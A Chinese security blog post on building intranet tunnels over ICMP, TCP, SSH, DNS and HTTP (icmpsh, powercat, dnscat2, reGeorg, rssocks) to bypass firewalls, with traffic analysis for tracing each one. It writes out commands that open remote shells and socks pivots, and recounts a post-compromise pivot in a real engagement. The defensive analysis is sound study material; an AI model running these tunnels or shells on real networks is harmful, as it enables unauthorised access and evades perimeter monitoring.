内网穿透从搭建到溯源

灰太狼 2021-09-07 06:01 588阅读 0赞

**目录**

背景

内网穿透及溯源

网络层隧道搭建

传输层隧道搭建

应用层隧道搭建

测试通信

案例

总结

--------------------

## 背景 ##

在攻防博弈这个永久的话题中，永远不会缺少一个重要角色即内网穿透。当渗透测试人员在进入内网，需要扩大战果的时候，往往会遇到内网的一些防护策略，不外乎边界设备、防火墙及入侵检测设备对端口或者数据包的拦截，导致流量无法出网，此时就需要熟练掌握内网穿透技术，从复杂的内网环境中获取稳定的流量交互，从而达到目的。

本文针对边界安全设备等对内网端口的屏蔽及数据包的拦截，从不同的网络协议层进行搭建隧道进行绕过，并对不同类型的隧道流量或者日志进行分析，帮助攻击或防守人员从溯源的维度更好的掌握内网穿透技术。

## 内网穿透及溯源 ##

### 网络层隧道搭建 ###

从网络层开始，主要的隧道技术有IPV6隧道、ICMP隧道、GRE隧道，其中常用的隧道技术是ICMP隧道技术。

icmp隧道搭建

icmp隧道搭建的场景主要用于在拦截策略关闭了端口，而ICMP协议用于检测网络连通状态，不依赖于端口开放，而防火墙通常会开放此协议。通常用于搭建icmp隧道的工具有icmpsh、PingTunnel、powershell icmp等，本次测试使用icmpsh。

*  搭建工具（[https://github.com/inquisb/icmpsh][https_github.com_inquisb_icmpsh]）

首先在目标主机进行Ping测试：

`ping 192.168.43.136`

![image-20200615161907365][]

接下来在attack主机执行监听：

![db94664a16e6b15e1e085326f784a489.png][]

在victim主机执行shell反弹命令,该命令在server端有返回：

`icmpsh.exe -t 192.168.43.136 -d 500 -b 30 -s 128`

![c980914f2c3db233ff854316879f6e58.png][]

反弹成功：

![2e3924d5e10a2cba980d1ce02938c051.png][]

此处已经搭建成功

icmp隧道分析

首先查看普通ping数据包：

![97205f189b3f4b76b254af44ffc0af0b.png][]

再看下执行了命令netstat -ano产生的数据包：

![559d8be8706e5feaa6c0c5edc847f4cd.png][]

通过对比，我们发现普通的ping请求存在4个带有32字节数据的数据包，并且数据内容为`abcdefghigklmnopqrstuvwabcdefghi`；而相对的使用ICMP隧道搭建的shell通道执行了命令的流量显示在短时间内有大量的icmp请求和回复流量，每个数据包的data含有高达128字节的数据，这个data数据可以通过命令进行修改，同时可以看到数据中含有大量的命令执行的内容返回，因此该隧道的溯源可以从以下方面进行：

*  单位时间内的icmp数据包数量
 *  数据包大小
 *  数据包内容

### 传输层隧道搭建 ###

传输层主要有TCP、UDP协议，因此隧道搭建也是基于这两种协议进行的。常用的隧道搭建工具有netcat、powercat等，本文通过powercat和nc进行测试

工具下载：powercat（[https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1][https_raw.githubusercontent.com_besimorhino_powercat_master_powercat.ps1]）

powercat隧道搭建

victim(192.168.43.109):

Import-Module .\powercat.ps1
    powercat -l -p 8888 -e cmd.exe -v

attack(192.168.43.136):

nc 192.168.43.109 8888 -vv

在victim端看到与远程连接建立成功：

![43f92c4a7ca5098949588182d77ed96f.png][]在attack端可以成功执行命令：

![82172cfc3ae033b3af2fc7b23463f539.png][]

powercat隧道分析

通过查看powercat搭建的隧道进行执行命令获取的数据包，可以看到获取到很多的TCP数据包，同时可以看到短时间内发出大量的ack回应数据包，并且夹杂很多psh数据包，表明该数据包是包括数据内容，我们通过查看数据包的data数据可以看到内容中包含我们执行的命令及响应内容。通过wireshark的数据包进行分析，我们可以通过对数据包的内容进行安全检测进行防御。

![0646d1a0859dfe2a4e1a116eb571fa90.png][]

### 应用层隧道搭建 ###

应用层位于TCP/IP协议的最顶层，通常用于搭建各种应用服务，而基于应用层搭建的隧道技术就是利用各种应用所占用的端口进行搭建，比如有SSH、HTTP/HTTPS和DNS服务，这些服务是服务器经常用到不会被禁止的协议。

ssh隧道搭建

SSH是英文Secure Shell的简写形式,SSH 为建立在应用层基础上的安全协议。SSH 是较可靠，专为远程登陆会话和其他网络服务提供安全性的协议。ftp、pop和telnet在本质上都是不安全的，因为它们在网络上用明文传送口令和数据，别有用心的人非常容易就可以截获这些口令和数据。而且，这些服务程序的安全认证方式也是有其弱点的， 就是很容易受到“中间人”攻击，SSH目前包括 SSH1和SSH2两个版本，是目前最常用的安全通讯协议。通常情况下，ssh协议是允许通过防火墙和边界设备。

ssh隧道通常用于端口转发，常用的端口转发有本地转发、远程转发和动态转发，其利用场景也不同，以下将分别介绍：

本地转发

本地转发一般用于外网通过dmz资源访问内部无外网ip的资源，此时dmz资源通常有外网ip且可访问外网,以下内部无外网ip资源简称inner。

dmz-host（192.168.43.179）

inner-host（192.168.43.168）

attack-host(192.168.43.136)配置如下：

ssh -CfNg -L 1234:192.168.43.168:22 sobug@192.168.43.179

![337453a99618cd0758532e17690ff5f4.png][]此时通过attack进行访问本地1234即可连接inner主机22端口的ssh服务，此时重点注意sir为inner的登录名，语句如下：

ssh -p 1234 sir@192.168.43.136

![7f3bd716151743d64262345d86a12bb1.png][]

远程转发

远程转发一般用于外网通过dmz资源访问内部无外网ip的资源，同时此时dmz资源也没有外部ip，以下内部无外网资源简称inner：

inner-host（192.168.43.168）

attack-host(192.168.43.136)

dmz-host（192.168.43.179）配置如下：

ssh -CfNg -R 2345:192.168.43.168:22 root@192.168.43.136

![d369fadf308c64baddaf16358229d6e1.png][]通过在attack主机执行，可以成功连接inner主机的ssh服务

ssh -p 1122 sir@127.0.0.1

![95b631d077bcb8c20a9be898e7b83715.png][]

动态转发

动态转发一般在外网attack主机上通过dmz主机搭建一个外部的socks4/5代理，然后通过代理软件添加需要代理的程序即可对内网中的资源进行访问。

inner-host（192.168.43.168）

dmz-host（192.168.43.179）

attack-host(192.168.43.136)配置代理如下：

ssh -CfNg -D 8888 sobug@192.168.43.179

ssh隧道分析

由于SSH 为建立在应用层基础上的安全协议，在数据传输中的流量都被加密，因此我们在wireshark中抓到的包看不出异常点，此时我们可以通过端口连接进行判断，以远程转发ssh隧道为例，我们查询端口连接情况，发现本机与外网主机192.168.43.136的22端口有建立连接信息

![eef34a67d515af1fb38f88dfa1e44533.png][]然后当外网连接内部主机后，同一PID3104分别与外网和内网建立了连接，我们通过这种方法基本可以确定本主机被搭建了ssh隧道进行内网流量转发操作。

![4dcae71ec3f68b3f6270c221618093c5.png][]

dns隧道搭建

*  vps部署域名解析

首先对vps建立A记录 创建NS记录，获取子域名的解析地址为A记录的域名

![b8a218f1c365ec9e46a95885efc470a3.png][]对NS记录mail子域进行解析指向ns1\*.club的A记录

测试部署：

测试外部对mail子域的dns请求，然后查看vps是否处理该请求

客户端发送dns请求数据包：

![dcddb7bfe1d4b891f656bb6d9b9ef567.png][]vps对请求数据的处理

tcpdump -n -i eth0 udp dst port 53

![6f1ff5e25ea5750134fb9078099c34df.png][]

*  安装dnscat2服务端

server端：

需要ruby环境

安装gem、ruby、dnscat2服务端

yum install gem
    rm /usr/bin/ruby
    wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz
    tar -zxvf ruby-2.5.0.tar.gz
    cd ruby-2.5.0
    mkdir -p /usr/local/ruby
    ./configure --prefix=/usr/local/ruby
    make  && make install
    ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby
    
    
    git clone https://github.com/iagox86/dnscat2.git
    cd /server
    gem install bunlder
    ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder
    bunlder install

启动服务端：

ruby dnscat2.rb mail.****.club -e open -c password --no-cache

客户端下载地址`https://downloads.skullsecurity.org/dnscat2/`powershell客户端`https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master`

### 测试通信 ###

./ruby --ping mail.target.com

连接服务端

./dnscat --secret=password mail.target.com

以下显示连接成功

![597fe94f63f6b7135f83b06236b86dc4.png][]server端

sessions显示已经有客户端会话

session -i session_id

![f210dcfbf992a7645832226584a98e28.png][]进入会话，执行shell交互命令行

![cdef83fb79fe7a94ae7bd6f0e75706c4.png][]通过监听53端口的流量包发现大量的dns请求数据

tcpdump -n -i eth0 udp dst port 53

dns隧道分析

通过流量监测，我们可轻易判断出存在大量的DNS协议的数据包，同时该数据包与普通的dns请求完全不同，首先是请求的dns域名前存在一段加密的字符串，其次dns记录分布于TXT记录、MX记录和CNAME记录

![d5634bc62999512fbdc725e094bc8844.png][]

从以下服务端的tcpdump监测的日志也可明显看出与普通dns请求的区别

![8ef991bb71ffcabe7b8ed92ddc58228e.png][]

因此我们可以从以下几方面进行防御：

*  设置受信任的DNS服务器进行通信
 *  阻止传入和传出的TXT请求
 *  对频繁进行DNS请求的设备进行禁用并发出警告

http隧道搭建

HTTP协议是互联网上常用的通信协议之一。它有很多的应用，但最流行的就是用于Web浏览器和Web服务器之间的通信，即Web应用。通过HTTP服务搭建代理，通常用于将外部流量转入内网中，常用的工具有reGeorg、tunna等。以下通过reGeorg进行测试。

dmz:192.168.157.148/192.168.247.130

attack:192.168.157.147

victim:192.168.247.152

reGeorg可以支持PHP、ASPX、JSP等脚本语言，我们需要将脚本上传至目标服务器中，

我们通过上传tunnel文件到dmz服务器上：

![e69bc29294237d4c7f58806c44cebeeb.png][]

然后搭建基于该文件搭建socks5隧道：

![3a62f333dfd834045e4cd632827ddbf1.png][]

说明隧道搭建成功，此时进行配置proxifier

搭建到本地代理的8888端口

![3b6c71674bcb1a44cde315967d9839d7.png][]

并配置mstsc流量从该代理发出：

![a08dff26f5012fcf28aa6f83c455a920.png][]

接下来我们看到可以成功连接victim主机

![3db1c2cb1458f4a0ae8efd22539d6e3b.png][]

http隧道分析

首先通过查看抓取的数据流量，我们发现存在http请求，并且请求中包括有cmd、target和port三个参数

![48683291fc0c249a260fd6e7a973c608.png][]

然后查看该数据包，在数据包中看到请求的源IP端口及目的IP端口，显然请求参数中IP端口和该数据包的IP端口是不一样的

![cf221dec4afe4648ab8ccb8fbbdd5e71.png][]

我们通过监听第二个网卡（192.168.247.130），发现可以看到存在对远程服务器的3389端口链接数据请求，并看到请求的目的端口的服务名ms-wbt-server.

![c48013f176fb60c55b21e0fd29e68b30.png][]

通过以上分析，我们可以针对http协议的数据包进行查看，并结合数据包中的ip参数进行溯源，同时针对该ip进行检索数据包查看本机ip对该ip的操作内容进行多层次的溯源，同时我们需要结合本机的windows日志进行配合溯源。

## 案例 ##

在某次项目中，通过灵机一动的思路getshell后，由于在菜刀下的操作比较局限，因此思考可以将流量转出来，在多次尝试后，成功使用Rssocks搭建了ssocks隧道，下面简单说一下当时的情况：

Rssocks下载地址：[http://sourceforge.net/projects/ssocks/][http_sourceforge.net_projects_ssocks]

由于目标系统为linux系统，因此需要在ssocks中编译安装ssocks

./configure && make && make install

首先在外网的vps上通过执行如下命令

Rcsocks -l 5001 -p 8009 -vv

![4898add126b3b11da4092e9708e1f21b.png][]

然后在目标主机执行

Rssocks -vv -s vpsip:1080

![b95b17d3619c2a67a2296235a5e6973d.png][]

接下来通过proxifier链接socks代理：vpsip：1088

扫描的内网某ip端口

![d1be583fc79bff5d1d0b315c6b1e4875.png][]

此外需要用到kali里的工具proxychains, 修改proxychains配置文件

去掉dynamic\_chain注释，在最后一行加入代理,测试内网联通性：

![735e53bd05a22fcaa947695169379b10.png][]

此时对内网的流量操控还是很顺手的，看到有10.x.x.16有开放80端口服务

![6e2a9998dfc1a9fbefc9e91f59994e9a.png][]

浏览器访问探测出的web服务10.x.x.16

![2acf37d59f57b4587f7e1f73b7730e48.png][]

## 总结 ##

内网穿透的工具和技巧有很多，本次基于各层协议介绍了具有代表性的搭建隧道方法，不过原理大都相似，重点在于项目中遇到各种复杂的环境时，能快速判断到可用的隧道类型，并能克服环境中的坑位；同时希望本文能帮助项目中的防守人员从溯源维度更好的掌握内网穿透技术。

[https_github.com_inquisb_icmpsh]: https://github.com/inquisb/icmpsh
[image-20200615161907365]: /images/20210728/b57bf27c94964fc6a7e47f98de6ab187.png
[db94664a16e6b15e1e085326f784a489.png]: /images/20210728/f18e37426cca49a78d78145e49251d91.png
[c980914f2c3db233ff854316879f6e58.png]: /images/20210728/0190cfd7a51a483a95579702364be796.png
[2e3924d5e10a2cba980d1ce02938c051.png]: /images/20210728/1c21066c749d46088de4ca61e436ba29.png
[97205f189b3f4b76b254af44ffc0af0b.png]: /images/20210728/a7317219aaf04eb0b13b8aad6dfab366.png
[559d8be8706e5feaa6c0c5edc847f4cd.png]: /images/20210728/e1e526e9d5f14f918b5e693205372fc8.png
[https_raw.githubusercontent.com_besimorhino_powercat_master_powercat.ps1]: https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
[43f92c4a7ca5098949588182d77ed96f.png]: /images/20210728/0c7f102a13154b3098dca8881702435c.png
[82172cfc3ae033b3af2fc7b23463f539.png]: /images/20210728/23023d91a06943e4b848d309e2aa8b42.png
[0646d1a0859dfe2a4e1a116eb571fa90.png]: /images/20210728/8ae14a84de93401ca2ca3db7a68678a7.png
[337453a99618cd0758532e17690ff5f4.png]: /images/20210728/2c27bda8fa93443d8b74a8828452c75d.png
[7f3bd716151743d64262345d86a12bb1.png]: /images/20210728/fd4f85feead445168708570f23d8849e.png
[d369fadf308c64baddaf16358229d6e1.png]: /images/20210728/6a193695f105495ebab02ba2a3b0c47f.png
[95b631d077bcb8c20a9be898e7b83715.png]: /images/20210728/0c5c0981db384f4c971252ccbd22733f.png
[eef34a67d515af1fb38f88dfa1e44533.png]: /images/20210728/a7478937064e440a96984c108ef0e8ba.png
[4dcae71ec3f68b3f6270c221618093c5.png]: /images/20210728/2fcab076fe5a4ffd9bcea3339762a70d.png
[b8a218f1c365ec9e46a95885efc470a3.png]: /images/20210728/22a64f521f56464986a3cb987604de9f.png
[dcddb7bfe1d4b891f656bb6d9b9ef567.png]: /images/20210728/951caf94593c48beabe994eae4706570.png
[6f1ff5e25ea5750134fb9078099c34df.png]: /images/20210728/79f207468f2c4365b0e1050d3a476c25.png
[597fe94f63f6b7135f83b06236b86dc4.png]: /images/20210728/6385ee0c91c344a18033051365038856.png
[f210dcfbf992a7645832226584a98e28.png]: /images/20210728/13920375e7544177a532bbf833c5f606.png
[cdef83fb79fe7a94ae7bd6f0e75706c4.png]: /images/20210728/557a7571f1544ff1a94f72b672ab508b.png
[d5634bc62999512fbdc725e094bc8844.png]: /images/20210728/b57b1535336a42b88e11519ffa63bd4b.png
[8ef991bb71ffcabe7b8ed92ddc58228e.png]: /images/20210728/3aa2dd7c7cb149d99e1ce8a38b21f0ca.png
[e69bc29294237d4c7f58806c44cebeeb.png]: /images/20210728/ae18dde478504042bb07eb46c04c8e61.png
[3a62f333dfd834045e4cd632827ddbf1.png]: /images/20210728/b38a6c4367774be7a3d2bc10579f3cf8.png
[3b6c71674bcb1a44cde315967d9839d7.png]: /images/20210728/be1ff02c78d9488d92dcf345d7b88a99.png
[a08dff26f5012fcf28aa6f83c455a920.png]: /images/20210728/b2ff44b659254d199a894993ce1c262e.png
[3db1c2cb1458f4a0ae8efd22539d6e3b.png]: /images/20210728/4280abf879004a2d950c42b4122b7b47.png
[48683291fc0c249a260fd6e7a973c608.png]: /images/20210728/904d0a288c944ebbaed93706fdbbcc98.png
[cf221dec4afe4648ab8ccb8fbbdd5e71.png]: /images/20210728/5fc7dac0ff19487c8f5b2df8369dfc8f.png
[c48013f176fb60c55b21e0fd29e68b30.png]: /images/20210728/8d4a8c0fa9974b7e82d9e37f0f5e9df4.png
[http_sourceforge.net_projects_ssocks]: http://sourceforge.net/projects/ssocks/
[4898add126b3b11da4092e9708e1f21b.png]: /images/20210728/adfbcb3393f24f66ad26e6d419a9b5d2.png
[b95b17d3619c2a67a2296235a5e6973d.png]: /images/20210728/c488347dc9be4467be101af31e3b8254.png
[d1be583fc79bff5d1d0b315c6b1e4875.png]: /images/20210728/0b0475c38e364239879d0afa1cee8259.png
[735e53bd05a22fcaa947695169379b10.png]: /images/20210728/f861cd7fe455467da252fdd00bf855d5.png
[6e2a9998dfc1a9fbefc9e91f59994e9a.png]: /images/20210728/2abe654aac194a6ab571a1361f6afc32.png
[2acf37d59f57b4587f7e1f73b7730e48.png]: /images/20210728/4713fc2d239f426585b3340f6b469e7f.png